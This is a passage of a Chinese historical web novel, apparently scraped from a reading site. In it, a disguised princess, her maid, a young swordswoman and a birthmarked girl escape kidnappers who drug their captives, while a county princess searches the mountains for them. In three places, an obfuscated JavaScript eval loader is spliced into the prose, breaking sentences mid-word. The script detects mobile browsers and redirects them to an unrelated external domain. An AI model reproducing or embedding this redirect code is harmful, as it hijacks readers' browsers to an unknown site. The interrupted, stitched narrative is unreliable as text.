花脸姑娘一顿,见她神情不似作伪,立即兴奋道:“谁会来救我们呀?你报官了吗?” 武霜道:“没有报官。” 说话间,她跟素影两个人靠着坐起来,这才发现屋子里竟然有十几个年龄相当的姑娘。不过她们都独自蜷缩在角落里,对她们方才弄出这么大的动静也无动于衷,只独自埋首,仿佛对外界的一切都没有感知。 “没有报官!”花脸姑娘脸上的神色登时黯淡下去,“那还会有谁来救我们。” 说着,她嘴一抿,似又要哭。 林望如临大敌,忙道:“做什么!?不是说好了不哭了吗?” 花脸姑娘颤音道:“我忍不住……” “打住!”现在已经够乱了,武霜可不想听她继续哭,便道,“我说有人来就一定会有人来,你若是继续哭,到时候我就不叫人救你了啊。” 花脸姑娘吸了下鼻子,翁声道:“真的吗?” 林望翻了个白眼。 武霜也被她磨得没了脾气,叹道:“真的。” “是真的,我家小姐很快就会来救我们的。”素影突然道。 素影尝试着解开绑在手上的绳子,可绑绳的人也不知道怎么绑的,手指碰上绳子一端后却是怎么用力都拽不下去,她试了几次都没有成功,又因为药效还没完全过去,难受地喘气。 林望注意到她,眼睛一转,问道:“你家小姐是谁啊?” 素影扭头朝林望看去,见她似乎没有恶意,谨慎道:“你是谁?打听我家小姐作甚?” 林望笑道:“我叫林望,希望的望,立志做天下第三剑客。” 武霜打断她,道:“为什么是第三?” 林望满脸骄傲地道:“因为第一是我师父,第二是我师姐。” “……” 素影道:“你既是剑客,那为什么还会跟我们一样被绑?” “……” 花脸姑娘也点头,“对哦,剑客不是都会武功的吗?” 她那表情,仿佛在说,你是剑客怎么还会被抓到这来。 林望面上有些挂不住,声音大了几分,她道:“我这不是一时不察,被暗算了吗?” 武霜讶然道:“暗算?” 林望道:“是啊,那日在街上碰到一个小姑娘,说是找不到爹娘了,我没多想,便牵着她去找爹娘。结果走到一个巷子里,那个小姑娘冷不丁朝我洒迷药,喏,醒来后人就在这了。” 还听了一宿的哭声,当真是雪上加霜。 武霜听完猛地回头去看素影,素影也看向她,两人皆是一脸惊诧。 因为她们也是因为一个小姑娘才被绑到这儿来的。 林望看她们的表情,都不用问,就知道这两人也是同自己一般,被那个小姑娘骗了。她道:“这下你可以告诉我你家小姐是谁了吧?” 素影表情严肃地道:“那你可听好了,我家小姐就是当今渭阳王之女,广明县主!” 武霜见她真把李砚书的名号报出来,当即撞了撞她的背,小声地道:“你为何将砚书说出来?” 她不让自己报出名号,却转头将砚书说出,也不怕连累到砚书。 素影不疾不徐地道:“因为小姐肯定会来救我们的,与其瞒着,不如先说出来稳定人心。” 说着,她又看向那位花脸姑娘,“那位姑娘胆子小,且容易哭,若是因此惹怒门外那些人就不好了。” 武霜听下来不由得对她刮目相看,没想到她看着柔柔弱弱的,心底里却是个有主意的人。这种情况都能临危不乱,她又想,这个小丫头跟在砚书身边那么久,说话做事有些相似的地方也不奇怪。 林望倒是没再说什么,反而是那位花脸姑娘怯怯地道:“可是……你只是一个小丫鬟吧?你家小姐会来救你吗?” 这句话点醒了林望,她倒是没想到这一层。也是,一个小丫鬟而已,能让一个身份尊贵的县主来寻? 对上她们怀疑的目光,素影肯定地道:“我家小姐不一样,她是这天底下最好的小姐,她一定会来救我们的。” 花脸姑娘跟林望对视一眼,然后轻叹一声,道:“但愿吧。” 武霜见她们竟然是这种态度,顿时怒道:“叹气是什么意思,不相信是吧!” 素影赶紧蹭了蹭她,对她笑着摇了摇头。 这个时候还是不要再起争执了,对谁都不好。 武霜闭上眼,深呼吸两下后,才扭过头看向那边,道:“你叫什么名字?” 花脸姑娘直觉武霜不好惹,因此那会儿就缩到林望身后去了。现下被她这么一问,即便心里打怵,却还是不由自主地探出头,小声道:“我,我叫刘招弟。” 林望眉心一蹙,侧过些许身子将人挡在身后,道:“你即便是县主府里的丫鬟,在问人名字前是否应该先说出自己的名字。” “你!”武霜有些莫名其妙,“我问的是她,关你何事?” 林望此前与她们说话时眼里都是带着笑意的,此时眼神却是冷了下来,轻嗤一声,“原是我想错了,本以为会为了丫鬟前来救人的县主应该是极好的,却不想手下丫鬟竟是个目中无人的。” 武霜脸都绿了,怒极之下,也只是憋出两个字:“放肆!” 怎么说着说着又吵起来了! 林望不知道武霜的身份,可素影知道啊! 虽然此事确实是武霜不对,但她又不能去说公主殿下。情急之下,素影只能道:“她叫阿霜,刘姑娘,此事是我们出言欠妥,但我们绝无恶意,还请你不要放在心上。” 花脸姑娘连忙摇头,道:“没关系的,不打紧啊,不打紧。” 林望默默翻了个白眼。 武霜瞬间瞪向素影,素影可怜兮兮地看着她,极小声地道:“冷静冷静,您大人大量不要跟她们一般见识,等小姐来了,我一定告诉小姐,让小姐教训她们,好不好?” 林望目带犹疑地看向她们,嘀嘀咕咕地在那说她什么坏话呢? 她都这样说了,武霜还能怎么办,只能安慰自己,只是两个不知身份的平民罢了,自己也犯不着与她们置气。 花脸姑娘贴在林望身后,小声道:“你别生气了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14694919|155131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >林望恨铁不成钢,道:“我生什么气,她又不是问我。还有,你都没有脾气的吗?” 花脸姑娘缩了一下,道:“我害怕。” 林望想起她脸上的胎记,还有她的名字,气一下就消下去了,声音也低了一些下去,她道:“害怕解决不了问题,人应自救,别人可以救你一次两次,却救不了你一辈子。” 花脸姑娘以为林望也开始嫌弃她了,心里一涩,眼圈顿时红了,带着哭音道:“……对不起。” 林望见她这样也要哭,两眼一黑,忍不住道:“你怎么又哭了!” “你凶她作甚?”武霜气道。 林望仰了仰酸痛的脖子,瞥过去,道:“你哪只眼睛看见我凶她了?” 素影呼吸一窒——又来了! 这两人前世是冤家吧,说不了两句就吵起来。 这时,花脸姑娘道:“阿霜姑娘你误会了,林姑娘没有凶我。” 闻言,武霜撇开眼。 片刻之后,素影似乎想起什么,问道:“她们为什么不说话?” 从她醒过来开始,就没有听她们说过一句话,而且连往她们这边看一眼都没有,这也太不正常了。 林望神色凝重起来,道:“你也发现了。我怀疑她们是被下药了,你仔细看她们的眼睛,虽然都是睁着的,但是眼神呆滞无神,就连眨眼都很少眨。” 武霜闻言看过去,看着看着就感得汗毛耸立。 林望不说还好,听她这么一说,现在这些姑娘怎么看怎么诡异。像是活死人一般,幸亏不是盯着她们这边看,那场面武霜想想都心慌得很。 素影道:“她们一直都是这样吗?” 林望摇了摇头,张嘴想说什么,但又想到花脸姑娘在,便道:“我知道件事情,不过你们得先做好准备。”说着,她看向花脸姑娘,“尤其是你,不准哭!” 素影点点头,武霜也看向她。 花脸姑娘眨了眨眼,道:“嗯嗯。” 林望道:“最近元安发生了多起妙龄男女失踪案,这事你们知道吗?” 三人睁大了眼睛。 林望又道:“我也是偶然听到,据说最近失踪的男子全都是读书人,有人报了官,官府的人找了几日连个影子都没有找到。” “多人失踪!?” 李砚书惊道:“确定是男女都有吗?而且还几乎是同一时间失踪的?” 宋承道:“回县主,千真万确。” 李砚书想了想,道:“那至今有发现任何一具尸体吗?” 宋承答道:“没有。” 李砚书又问:“绑匪可跟其家里人索要赎金了?” 宋承道:“没有。” 两人相对沉默了片刻。 不止李砚书觉得匪夷所思,就连宋承也觉得匪夷所思。若是说女子失踪,那大概率是被送到青楼等腌臜地方去了,找人也好找,可这连着男子也一起失踪,倒是一时间令人想不到绑人者究竟是什么目的了。 李砚书垂下眼。绑了人,却没有杀人,也没有跟他们家里人索要赎金,那就不为仇,不为钱,那还能是为了什么呢? 现在看来,对方也不是冲她来的。 因为从事发到现在,一夜过去了,还没有任何关于公主失踪的消息传出。 宋承突然道:“对了,有一点属下觉得有些奇怪,听衙门里的人说,最近失踪的人中,男子几乎都是读书人。” 话音刚落,属下匆忙来报,说是在山里寻到了可疑踪迹。 49. 月亮 李砚书拔腿就要往外走,却被宋承拦下,他道:“山里还不知是何情形,县主不可以身涉险。” 昨日夜里,楚皇后听到武霜失踪的消息后,无声了半晌后,才轻声道:“砚书,是不是无双不愿嫁人,才让你来哄姨母的?” 李砚书不敢再有欺瞒,便将这几日的事情一五一十地跟楚皇后说了。 “胡闹!” 楚婞都快记不清上次这么生气是什么时候了,从她继位皇后以来,心里早已如同一潭死水,惊不起半分涟漪。无双虽不是她亲出,可是她自小带在身边的,一点点看着她长大长高,跟亲生的没有什么分别。从小到大哪件事不是依着她,顺着她,就连婚事也是一拖再拖,就为了让她再无忧无虑几年。 无双不喜欢沈珩,她喜欢金川世子萧霂。可萧霂非良配,金川与武朝早晚会有一战,到那时她又该如何自处? 楚皇后来到李砚书面前,沉声道:“砚书,此事可还有其他人知晓?” 李砚书肯定道:“没有。” 沉默的罅隙里,楚皇后突然沉声道:“此事你做得很好,明日一早,你持本宫令牌出宫,就说是你府上丫鬟失踪,命宋承调遣人马找人。记住,无论对谁都不要将无双身份说出,只能说是你府上丫鬟。” 此刻,楚皇后所想与李砚书不谋而合。 丫鬟失踪本应派京畿衙门的人去找,可李砚书不确定她们当中是否有人见过武霜,再加上衙门中人多半是董家的人,这让李砚书和楚皇后不得不多留个心眼。 翌日,广明县主夜里醉酒策马,丫鬟跟出来却被匪徒绑架一事在元安传得沸沸扬扬。只是不管流言传得多厉害,百官中都无一人上折子参这位广明县主。 “废话少说,上马。” 李砚书跨出门槛,来到院中随便挑了一匹马,翻身上马,马鞭抽向马臀,瞬间飞奔出去。 “县主!” 宋承不敢耽误,翻身上马紧随其后。 …… “然后呢?” 武霜越听越觉得诡异。 林望继续道:“我也不明白,你说那些绑匪抓了这么多人,却没有上一户人家家里去索要赎金。有些人家甚至想主动给赎金将人赎回,可那些绑匪也没有想收的意思。而且从这些姑娘也可以看出,绑匪抓人根本就不是为了银子。” 若是为了抓人卖钱,那还留着这些姑娘干嘛,早就给人卖到青楼里去了。 素影疑惑道:“不是为了银子?难道是有仇?” 武霜看了她一眼,道:“你我难道跟那些绑匪有仇?” 素影立刻摇头。 “也不是寻仇。”林望道,“若是寻仇的话,这些姑娘早就没命了。” 花脸姑娘从林望说话开始就心事重重地低着头,一直没有出声,这下却突然道:“我……” 话音刚出,三人倏地将视线投向她。 林望道:“你什么?” 花脸姑娘倏地低下头,舌头打了结,声如蚊呐,“我,我被绑那天晚上……” “把头抬起来,大点声。” 声音太小,武霜听得抓耳挠腮的,难受得很。 素影温柔道:“刘姑娘,对不住啊,能劳烦你声音稍微大一点吗?” 林望道:“别怕,你知道什么,大胆说。” “你们可以不要看着我吗?”花脸姑娘紧张道,“你们都看着我,我紧张。” “……” 武霜闭上眼。 素影移开视线,转到门口处。 林望转过头,看着自己被绑住的脚尖。 花脸姑娘见她们都不再看自己,紧张的心终于放下,她缓缓道:“我被绑那天晚上,他们见到了我脸上的胎记,然后其中有一个人说……说我这样的好像不符合樊先生的要求,然后他们就将屋里其他的姑娘都带走了,只留下我在这里。到了第二天,他们又将这些姑娘全部送了回来。” 说着,她碰了碰林望,“接着你就被绑进来了。” 林望被绑进来的时候,这些姑娘已经被送回来了,再然后就是素影与武霜被绑进来。 “樊先生?”武霜看向素影,“你有听过这号人吗?” 素影在脑中搜索了一遍,而后摇了摇头。 林望蹙眉想着,道:“我也没想起有这号人。先不想他了,我们还是先想想怎么应对今晚的事吧。” 武霜瞬间反应过来她说的是什么,惊道:“你是说我们今晚也会跟这些姑娘一样被带出去?” 林望表情严肃地点点头。 素影也想到其中后果,忙道:“那我们得想办法在这之前逃出去,不然……我们就会变得跟她们一样。” 林望跟武霜同时朝那边看去,眼神复杂。 都是聪明人,不需要多说什么,她们都心照不宣地没有继续往下说。 像这些姑娘一般,神情呆滞,毫无反抗之力,只能完全任人宰割。虽然她们现在并不知道这些姑娘究竟经历了什么,但可以肯定的是,绝对不是好事。 无言片刻,武霜道:“可是我们现在要怎么出去呢?” 别说门被锁着,就是敞开着,就她们如今被绑住的手脚,连爬出去都费劲,更别说从那些绑匪手下逃走了。 林望道:“你们先前那么肯定那个县主会来救你们,为什么?” 武霜见她提起李砚书,立刻道:“你没完了是吧!我说她会来就一定会来。” “谁问你这个了,”林望道,“我是想问,你们在被绑来的路上可留下了什么标记没?” “……” 素影敛下眼,摇头。 武霜突然道:“匕首。” 素影想起来是哪把匕首,激动道:“殿……阿霜,是小姐给你那把吗?” 武霜点头,道:“是。” 林望道:“你在哪落下的匕首?” 武霜回忆着,答道:“就进山那处吧,当时中了迷药,我也不太记得清了。” 林望刚想说留下那把匕首,她们现在或许可以割断绳子,但旋即又想到,若是她身上有匕首,那些人肯定会搜出来的,与其这样,还不如丢下留个线索有用呢。 想到这,她对武霜和素影道:“你们现在力气恢复了吗?” 素影道:“好多了,头已经不晕了。” “那就好,”林望道,“我跟刘姑娘一组,你们两个一组,先尝试着给一人解开绳子,若是实在解不开,立刻换另一个人解。” 她们对视一眼,素影道:“阿霜,我先给你解。” 花脸姑娘见状,立即道:“林姑娘,我,我先帮你解吧。” 她们当中,似乎只有林望会武,只有她先解开了,她们才会有可能从这里逃出去。 武霜迅速扭到素影面前,她们的手都被绑在前面,因此在解绳子的时候,两个人必须挨得格外近才行。 此时她们面对面挨着,连对方每一次呼吸都能无比清晰地听见。 花脸姑娘认真给林望解着绳子,但因为自己的手被绑着,手指行动受限,因此解得非常缓慢。 两人挨得近,林望不可避免地看见了花脸姑娘脸上的胎记,像一块残缺的月盘,其实并不难看,但就是放在了脸上…… 花脸姑娘感受到林望的目光,解绳子的动作一僵,下意识想去遮掩自己脸上的胎记。却因为手被绑着动不了,于是只能把脸侧向一边,同时小声道:“对不起。” 林望愣了一下,清醒过来,赶紧道:“对不起,是我冒昧。” 花脸姑娘将头往下低了低,恨不能低到地下去,开始一言不发地帮林望解着绳子。 林望垂眸看了她半晌,才道:“那个,我想说的是,你脸上的胎记很漂亮,像天上的月亮。” 花脸姑娘倏地一抬头,正好撞进林望的眼眸里。 林望眼神真挚至极,带着细碎的光,折映出花脸姑娘的脸。 花脸姑娘唇瓣微翕,有些无措,眼眶却在悄悄变红。 很奇怪,这次林望竟然一点都不怕她的眼泪了,反而继续道:“你听过这么一句话吗?腿记穷,腰记富,脸记端金碗,就是说你以后是会大富大贵之人。我师姐说,人生易得,福相难求,你可不能自轻自个儿,说不定我以后有事还得求你呢。” 花脸姑娘第一次听见有人这么形容自己脸上的胎记,还说自己是有福之人,即使知道林望是在安慰自己,可她仍然控制不住——更想哭了! 素影突然道:“是呀,刘姑娘,我家小姐也跟我说过这话。所以你今后一定会福星高照,吉祥如意的。” 闻言,花脸姑娘泪眼朦胧地朝她们那边看去。 这…… 武霜眉梢微动,她是不是也该说两句? 结果还没等她说呢,那边花脸姑娘已经感动得不行了,哭着道:“呜呜……你们真好。” “……” 算了,武霜选择沉默。 林望赶紧道:“可以了啊,感动的话等我们都出去了再说。现在,赶紧帮我解绳子。说话就说话,手上的活别停啊。” 素影闻言忍不住笑了一声,而后继续替武霜解绳子。 静默了片刻,武霜忽然倾了身子,极小声地问她,“砚书真跟你说过呀?” 素影没回这话,只是抬头对她笑笑。 武霜“啧”了声,不说就不说,她也不是很想知道。 …… 城南群山环绕,大小路近百条,武圣年间曾被当做练兵场来用。只是武明帝登基后将皇宫林场扩建,军营也挪去了林场,这块山林也就逐渐荒废了。 有路的地方还好,人还能勉强通过。但像是那种荒草丛生的地方,光是杂草就跟人一样高了。更别提里面荆棘暗生,还伴有毒蛇出没,别说是人,就是连野山鸡都过不去。 李砚书的视线从远处收回,垂眸看着手里的匕首。 宋承这时过来,拱手道:“县主,前面没路了,且地面上没有发现有人踩过的痕迹。” 李砚书听后转身一指,道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我阿爹用了近十年的时间才让渭阳王军响彻四海,”李砚书道,“而他常年在前线作战,渭阳一应事物便交到了我阿娘手中。十年,几乎每一年都有一批先锋军从渭阳送至前线,想必你也知道这支先锋军。” 宋承当然知道,有一回他带人去天险峰接应先锋军撤退。根据军报上说,敌方以近三倍的军力强势进攻,这支先锋军已经与敌军鏖战了三天两夜。他本以为到了后先锋军会死伤惨重,结果在见到先锋军的时候所有人都大吃一惊,因为先锋军不仅没什么人受伤,反而还顺利完成了王爷下达的任务。从那以后,再在军营里再见到那支先锋军的人,宋承总是不由自主地对其心怀敬意。 李砚书抬手摸了摸马鬃,马蹄在地上踩了踩,鼻腔里发出粗粝的气音。 “那些先锋军都是由我阿娘训练出来的。”李砚书翻身上马,看向宋承,“若不是我与哥哥那时年纪尚小,我阿娘一定会是一个不逊色于我阿爹的女将军。” 说完,李砚书抓住缰绳,扬鞭而去。 宋承还在震惊中,直到身后之人见状过来提醒他,他才恍如初醒,匆匆上马追上李砚书。 …… 半个时辰过去,花脸姑娘终于将林望手上的绳子解开了,整个人躺在地上大声喘着气,出了一身的汗。 林望赶紧将绑在自己腿上的绳索解开,同时素影也终于将武霜手上的绳索解开,随手也如花脸姑娘一般倒在地上一口喘着气。 情急之下,她们甚至连嘴带手地解。素影觉得嘴角有些抽痛,应该是咬绳子时不小心割到了。 武霜此时也满头大汗,又急又怕,生怕绑匪这个时候进来,那她们之前所做的一切就都白费了。可能还会因此激怒绑匪,使其做出更加的事来。 林望率先解开绑在腿上的绳索,一恢复自由,她立刻来到花脸姑娘身边,给她解开绳索。 没有束缚,解开绳索的速度就快多了。 很快四人皆解开了身上的绳索。素影来到一个绿衣姑娘身前,小声唤她,可连续唤了几声,绿衣姑娘都没有任何动静,甚至连眼皮都没有抬一下。 林望道:“没用的,她们应该被下了药,只有服下解药才会恢复神志。” 武霜道:“那我们快去找解药!” 林望侧眸看她,道:“怎么去?你知道解药在哪吗?” 犹如一盆凉水泼下,冻得武霜半晌说不出话。 素影轻声道:“这些姑娘这个样子,即使我们帮她们解开绳索她们也逃不出去的。为今之计,唯有我们先出去,等和小姐汇合,再带人来救她们。” “只能这样了,”林望揉了揉手腕,道,“我们先把绳子虚套回在身上,然后大声尖叫把人引来,你们往后一点,我瞅准时机上去,你们注意躲避,不要伤到自己。” 武霜呼吸微促,担心道:“那要是进来两个人呢?” 50. 承因 林望笑了笑,撂下一句:“那也只能硬着头皮上了,况且我们四人当中只有我会武,只能拼一把了。” 素影表情严肃,沉默半晌,道:“你放心,若是进来两人,我们也一定会拼尽全力先拖住其中一人。” “可以,”林望弯腰捡起散在地上的绳索,余光看见素影,手上的动作顿了下,她道,“对了,我先前不该说你们的县主小姐,一时语快,还望见谅。” “无妨。”素影对她笑了一下,接道,“只是我们就算将进来之人打晕,可是之后我们该怎么逃出去呢?” 屋子里连扇窗户都没有,唯一的门还被人锁上了,她们连自己身处何地都不知道。就算出了这个屋子,外面那些人又该怎么应对呢? 林望道:“我去拖住他们,你们趁机逃走。” 武霜绑绳的动作一顿,脱口道:“不行。” 林望诧异地看向她,似乎没想到她会反对。 武霜略不自在地道:“你虽然会武,但终究只有一人,此法过于冒险。” 素影道:“阿霜说得对,对方究竟有多少人仍未可知,我们不能留你一人在此。” “对……”花脸姑娘吸了下鼻子,几不可闻地道,“我,我好像知道这是哪里……” 三人顿时全部看向她,素影道:“刘姑娘,你知道这是哪里?” “嗯,”花脸姑娘胡乱擦了几下脸上的眼泪,小声道,“昨日天黑前,我好像听到了寺里撞钟的声音。” 那时她们都还没有被绑来,她正哭着,耳边突然传来一声很小很小的钟声,她还以为是自己听错了,故此之前没有跟她们说起这一点。但是方才听她们商量事情,她突然想起那声钟声,再仔细一想,她想她应该大概知道她们在哪了。 花脸姑娘接道:“但,但我也不能确定,得出去亲眼看看。” “太好了,”林望道,“这样,一会儿出去后我负责拖住那些人,刘姑娘你就负责带路,逃出去后,就赶紧找人回来支援。” 武霜皱眉道:“那这样不还是留你一人。” 林望道:“你别小瞧我,我上次是被那个小姑娘暗算了。真要真刀真枪地打,就凭几个山匪,还不是我的对手。放心吧,我心里有数,再说这一屋子的姑娘,我们全走了,难保他们气急之下不会做出杀人灭口的事来。” 林望豁出去了,她可是要成为天下第三剑客的人,肯定不会折在这些小毛贼手上。还有师姐,发现自己失踪了,师姐一定会来救她的。 素影没应声,她知道若不是因为她们三人都不会武,林望也不会被累,留下来为她们争取更多的逃跑时间。 “林姑娘,”素影举起手,“我发誓,我一定会来着我家小姐回来支援你。” 林望笑了一下,“害,你这是作甚,我相信你。” 武霜道:“我们才认识不到一天,你相信我们什么?你就不怕我们跑了就不回来了?” “那只能算我识人不清,”林望继续手上的动作,道,“我认了。” …… 李砚书策马来到承因寺门前,落地后第一句话就是,“怎么连个门也没有?” 好歹是个正经寺庙,又不是什么无人居住的破庙,竟然没有门。不说防贼防盗,就是立门面也要立一扇吧。 宋承欠身道:“县主有所不知,这门乃先帝亲口御令让拆的。” 李砚书道:“为何?” 宋承道:“据说是当年先帝和萱公主来此巡查,萱公主在进门时不慎被门撞了一下,先帝便命人拆了这门。” 李砚书语气微诧,道:“萱公主?” 她从未听过先帝还有一位萱公主。 “这位萱公主属下也不是很清楚,”宋承道,“只知是先帝幼妹,先帝甚是疼爱。只是多年前萱公主突染恶疾暴毙而亡,先帝伤心欲绝,不许任何人提起萱公主,久而久之人们也就忘了还有这么一位公主。” 李砚书听了点点头。心里却在想,也不见得有多疼爱,连提都不能提,更像是仇人。 这时宋承手下和一名小和尚从寺里出来,手下禀道:“县主,都尉,这位小师父知道一条进山小路。” “阿弥陀佛,”无济合掌道,“小僧法号无济。” 李砚书颔首道:“无济小师父。” 无济道:“请随小僧来。” 李砚书不动声色观察了一会这个小沙弥,发现此人神色淡然,虽然年纪尚小,但说话行事都有一股大师风范,不像是会发现小路的人。 “无济小师父,”李砚书道,“我观这山路崎岖隐蔽,不太好找啊,你是如何发现的呀?” 无济始终合着掌,听完她的话,也只是平静道:“阿弥陀佛,此路乃小僧师弟无慈偶然发现,今日恰轮师弟讲经,是以小僧带各位施主前去。” “原来如此,”李砚书笑道,“劳烦小师父了。” 无济对她作了一礼,继续往前走。 李砚书其实也没有夸大其词,这条路是真的不好找。要说前面仅供一人通过的道路称作小道,那接下来的这段简直就就不能称作路。 眼看路不成路,宋承命两人在前面开路。小沙弥从始至终都没什么表情,除了需要拐弯时说一声,其余时候基本上都处于默语状态。 宋承来到李砚书身边,道:“县主,前面似乎没路了。” 李砚书听完看向无济,见对方神色如常,她道:“听小师父的。” 话音刚落,李砚书眼神倏然一凛,沉声道:“谁!” 宋承勃然色变,旋即抽出腰间佩刀,侧身挡在李砚书身前,同时眼神示意身侧两人上前。 在他们前方的那处杂草顶端此时还在轻轻摇晃,乍一看像是被风吹的,可此时风平浪静,别说风,就是连只鸟也没有。 上前查看的两人屏气凝神来到那处杂草前,抵刀缓缓拨开身前的杂草。 …… 什么也没有。 那两人又往前走了几步,查看一番后,还是什么都没有。 宋承向前查看。 李砚书见状,心道:“难道是我听错了?” 只是那下她分明听到那处有动静。 她正想着,便见宋承蹲了下去。 李砚书立刻过去,只听宋承道:“此处有脚印。脚印较轻,且能在我毫无察觉之下离开,此人武功应该不在我之下。这纹路……不像是男子的,倒像是……” 宋承沉吟片刻,脸色倏地一变,惊疑不定地道:“女的!” 李砚书看向宋承指的那处脚印,很浅的一道,若不是宋承说出来,李砚书可能也发现不了,自然也就看不出男女。她不由得看向宋承,这一手观印识人的本事很是厉害,就是不知道师从何人。 宋承起身,道:“县主,对方应该是一个身量偏瘦,且轻功了得的姑娘。” 李砚书闻言脸上倒是不见诧异,只道:“她应该是从进山时就跟着我们了。” 宋承神色凝重,当即单 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788620|155131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膝跪下,道:“属下失察,请县主责罚。” 他身后之人也齐刷刷单膝跪下,垂首请罪。 “都起来,现在还不是论罪的时候。”李砚书将人扶起,心下飞快转念,而后扬声道,“阁下若无恶意,大可现身一见。我今日所行乃为救人,若是与阁下目标一致,不妨联手一试!” 四下寂静,李砚书凝眸望去,依旧没有动静。 宋承在一旁低声道:“县主,此人怕是目的不纯,属下这就带人去将人搜出来。” “且慢,”李砚书拦下宋承,“时辰不早了,进山救人要紧。挑两个身手好的断后,其余人继续往前走。” 眼看日暮西垂,一道刺耳的尖叫声在寂静的深山中突兀响起。 “吵什么!不要命了!” 那人边走边骂,几下将门锁解开,木门随即被人粗暴踹开,是一个时辰前离开的大汉。 “啊!!!” 若说之前花脸姑娘是假装尖叫,那现在就是真的因为害怕了。 那人凶恶的目光盯上花脸姑娘,面上满是嫌弃,提着柴刀就朝她过去,啐道:“又是你这个臭娘们,害得老子被大哥臭骂了一顿,今天老子非得给你……” 林望没给他继续狂吠的机会,拿起早就准备好的木棒使劲抡了上去。 柴刀“镗朗”一声掉在地上,大汉轰然倒地,震起一地飞扬。 素影哆嗦着挣开手上的绳子,去抱住花脸姑娘,“没事了,没事了……” 武霜将门关上,看了一眼躺在地上的大汉,“幸好只进来一人。” 花脸姑娘还在哭,武霜和林望蹲在她身侧,给她解开身上的绳索。 武霜定定心神,道:“别哭了,等会再将他们同伙引来。” “按原计划行事,”林望随后看向花脸姑娘,“刘姑娘,相信自己,你一定可以的。” 花脸姑娘重重点了下头。 武霜将头上的簪子取下,头发哗啦一下全部散下来,她别扭道:“你虽然会武,但是手无寸铁终究吃亏,呐,你一定要活着等我们回来。” 她们虽然才认识不到一天,但两人三句不出就吵起来。现下乍一听武霜这么说话,林望反倒是有些不适应了。她先是一愣,随后接过簪子,道:“谢了。放心吧,我还没游遍武朝山川湖泊,才不舍得死在这呢。” 素影见状也将头上簪子取下,道:“呸呸呸,说什么呢,我们都会平安回去的。” 花脸姑娘拼命点头。 林望笑了,道:“是是是,李姑娘说话好听,听你的。” 武霜不乐意了,道:“我说话就不好听了吗?” 林望道:“你?你不怼我我就谢天谢地了。” 素影轻笑一声,目光温柔。 随后,武霜也与林望相视一笑。 片刻后,林望率先从门缝探头,确定没人后才跨步出去。身后三人紧随其后,走了两步,林望突然折回去拿上松挂在门上的门锁。 一出来群山毫无遮蔽,即便是武霜都能一眼看出她们身处山中。 “这边!”花脸环顾四周,突然眼睛一亮,指向一个方向,声音兴奋又压抑,“这边可以下山!” 林望朝那边看了一眼,颔首道:“好。” 绑匪可能也是想着深山之中不会有人能找来,故此她们这个木屋外边就是一条山路,而路口连个看守的人都没有。 三人立刻往山下跑,林望则悄声往另一边的那座木屋走去。 51. 师姐 林望猫着身子来到房前,只听里面一人道:“小六怎么还不回来?” “大哥莫急,”另一人满含深意地道,“六弟估计还有一会儿呢!你说是吧,二哥!” 里面登时传出一阵哄笑。 林望在心里呸了一声,暗骂道:“人渣。” 她垂眸看向手里的门锁,里头说话的说话声继续传出来。 “小五,房子找到了没?” “找好了,弟弟办事大哥还不放心啊!现在就等那些娘们怀上了……” 房子、怀上? 林望呼吸一紧。 “咔嚓。” 非常细小的一声,屋内被唤作大哥那人却如临大敌一般,脸色倏然一变,喝道:“谁!” 林望当即起身,在屋内几人齐刷刷的注视下一把拉过两侧敞开的木门,“嘭”地一声将其锁上。 等那几人反应过来时,门已经被林望锁上了。 “啪啪啪”地拍门声和叫骂声紧随其后响起,林望朝花脸姑娘三人离开的方向看了一眼,希望她们已经跑远了。 “起开!” 随着这一声话音落下,门内像是被按下了暂停键,瞬间鸦雀无声。 林望缓缓抽出别在腰后的柴刀,严阵以待。 突然,“嘭”地一声巨响,本就不怎么结实的木门簌簌作响,紧接着再一声沉闷的撞击声传来,两块由门锁连接的大门轰然倒地。 门一倒,里面随即出来五个彪形大汉,最高最壮的那人脸色难看,厉声喝道:“小五,去看小六。” “是!” 剩下四人分四面围住林望,手里都提着一把大刀。 很快被唤作小五那人跑回来,急道:“大哥,小六被她们打晕了!还跑了三个!” “大哥,我这就去将人抓回来!”其中一人说着就要去抓人。 高大脸色难看道:“回来!他娘的,你跟小五小六先走,今晚亥时,在老地方汇合。” 老大都这么说了,那人也只能恶狠狠瞪了林望一眼,随后不情不愿地转身离开。 高大看向林望,眼神似鹰,声音倒是冷静下来了,他道:“你不是官府的人,你是谁派来的?” “你这话说得好笑,”林望道,“明明是你们将我抓来,现在居然反过来问我是谁的人?我还没问你们是谁的人,竟然在光天化日之下强绑民女,行禽兽之事。” “大哥,甭跟这娘们废话,直接一刀砍了她就是!”高三道。 “是吗?” 话音没落,林望突地朝左侧那人劈头砍去。 高二立刻横刀而挡,同时冷哼一声,他显然没有将林望这轻飘飘的一刀放在眼里。 